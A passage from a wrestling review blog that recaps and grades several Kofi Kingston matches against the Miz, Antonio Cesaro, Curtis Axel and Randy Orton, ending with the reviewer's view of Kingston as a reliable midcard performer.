Off to a chinlock for awhile followed by a clothesline to put Kofi down. There’s a top rope double ax for two and Miz punts him in the ribs. Miz’s corner clothesline is blocked by a hard clothesline from the champ and both guys are down. Kofi chops Miz down and hits the Boom Drop for two. Miz runs from Trouble in Paradise but gets caught by the spinning top rope cross body for two.

The SOS is countered into half of the Reality Check but they seem to miss on something before the neckbreaker. SOS gets two and Miz hits a kind of Stunner to the leg. Miz bends the leg around the ropes and takes off the leg pad and boot from Kofi’s left leg. Kofi gets to the second rope but Miz slams him off and puts on a half crab.

Kofi crawls to the ropes but Miz pulls it right back to the center. The champ counters into a cradle for two but Miz gets the same off a short DDT. Miz loads up the Finale but Kofi counters into a kind of victory roll for two. The kick misses for Kofi but the Finale can’t hit again. Miz gets kicked to the floor and as he comes back in, Kofi kicks him into oblivion for the pin to retain at 10:44.

Rating: C+. Another good and lengthy match here as this show is already better than anything WWE has thrown at us in weeks. This gets Miz out of the title picture and hopefully pushes him back up the card. Kofi is fine in this role and can be put with almost anyone to get a good match. Solid stuff here and a fine match.

Antonio Cesaro would be US Champion for a very long time. So long that we needed someone new to take it from him. You can fill in the blanks on this match from Raw on April 15, 2013.

US Title: Antonio Cesaro vs. Kofi Kingston

Cesaro gets a mic and yodels all the way to the ring. Kofi gets a quick rollup and backslide for two each but misses a splash into the corner. A hard clothesline puts Kofi down and there’s the gutwrench suplex for two. Cesaro hooks a quick chinlock but Kofi comes back with some strikes of his own. The Boom Drop hits but Trouble in Paradise is ducked, allowing Cesaro to hit the big European uppercut for two. We take a break and come back with Cesaro pounding away with headbutts and punches in the corner.

Kofi comes back with the SOS for two and Trouble in Paradise sends Antonio to the floor. Back inside and Kofi gets two before going up top. His cross body is caught in a tilt-a-whirl backbreaker for a VERY close two but Cesaro charges into a boot in the corner. Kofi tries a springboard cross body but gets caught in the Neutralizer position. They trade some VERY fast near falls until Kofi hits Trouble in Paradise for the pin and the title at 9:25.

Rating: B-. The early part was dull stuff but that pinfall reversal sequence was awesome. The problem here is simple though: we’ve seen this like five times now from Kofi. Kingston is good in the ring and will give you a solid performance every night, but he’s not going to do anything special with the belt, primarily because he’s not going to be given the opportunity to do so. Either way, decent match here.

Intercontinental Champion Curtis Axel would hold an open challenge for the Intercontinental Title at Night of Champions 2013. Guess who accepted.

Intercontinental Title: Curtis Axel vs. Kofi Kingston

Well this is a letdown. Kofi takes him down by the wrist and sends Axel to the floor. Back in and Curtis avoids the double leapfrog and bails to the floor again because the seventeen minutes of stalling to open the show weren’t enough. Kofi kicks him on the way back in and Axel is on the floor for the third time in three minutes. Back in again and a dropkick gets two on the champion so Axel goes outside AGAIN. Kingston gets tired of waiting and goes outside but gets sent into the steps. Kofi stops himself and jumps to the apron and then the top for a spinning cross body to the floor.

Back inside again and Axel gets in a cheap shot to take over. Kofi is tied up in the Tree of Woe for a spear to the ribs and the snap Saito Suplex is good for two. We hit the neck crank followed by a clothesline for two for the champion. A quick slam gets two on Kofi as this boring match continues. Back to the chinlock for a bit before Kofi tries to spin around a clothesline but can’t quite pull it off as crisply as he wanted to. A DDT gets two on Axel and Kofi’s spinning cross body off the top gets the same.

There’s the Boom Drop but Trouble in Paradise misses. Axel drives Kofi into the corner but walks into a pendulum kick. Kofi goes up, only to dive into a dropkick to the chest for two. Kingston escapes another Saito Suplex and a side roll gets two. The SOS is countered and Trouble in Paradise is ducked but Kofi counters Curtis’ neckbreaker into the SOS for…..something as the camera is on Heyman at what could have been the three count. It’s only two so Kofi goes to the corner, only to wind up on Axel’s shoulders and dropped on the top rope. The neckbreaker into the cutter are good enough to retain Curtis’ title at 14:05.

Rating: C. When civilization has come to an end and the human race is gone, Kofi Kingston will still be in the Intercontinental Title hunt. The match wasn’t terrible and it got WAY better at the end, but the first five minutes of this match were way too boring. Also what’s the idea of having Axel in a nearly fifteen minute match before he was a big underdog in the match later? Methinks something is up.

We’ll wrap it up with this Raw from January 13, 2014.

Randy Orton vs. Kofi Kingston

Non-title. Orton is especially ticked off tonight and sends Kofi to the floor. A whip into the barricade gets two for the champ and he clotheslines Kofi down for no cover. Kofi is sent to the floor again but he manages to send Randy into the announce table a few times to get a breather. Back inside and Orton sends him face first into the middle buckle before superplexing Kingston down for two. Orton drops a knee to the face but Kofi comes back with strikes to the head to knock Orton outside. Kofi follows him to the floor and sends Orton face first into the barricade as we take a break.

Back with Orton ramming Kofi into the announce table before taking him back inside for a chinlock. Kofi fights up but gets sent to the floor and into the steps for the third time tonight. Make it four as Orton is all insane again. A hard stomp to the side of the head gets two and we hit the chinlock again.

Orton shrugs off a comeback and walks around a lot more. Kofi gets a quick two off a backslide so Orton uppercuts him down for another chinlock. The hold is broken and Kofi avoids a knee drop. A dropkick sets up the Boom Drop but Orton rolls away and loads up the Elevated DDT….but Kofi counters into the SOS for the completely clean pin at 16:51.

Rating: D+. This was mind warping. First and foremost, WAY too long with the chinlocks and walking around. I get the idea of Orton letting Kofi hang in there and getting pinned, but there are far better ways to go about it than that. Then there’s the booking which is crazy enough if you think about it for more than three seconds. Orton is the new world champion, meaning he should not be getting pinned on Raw. It’s stuff like that which crippled the World Heavyweight Title and they don’t need to do it with the one title.

Kofi is a guy that you can put into almost any midcard spot and he’ll be fine. He doesn’t need to do anything special because his in ring work speaks for itself. He hasn’t really been around that long by comparison to some of the other people you see on the shows every week and I even left out some of the titles he’s won. The key thing to him is that some people just aren’t supposed to be in the main event and there’s nothing wrong with that.

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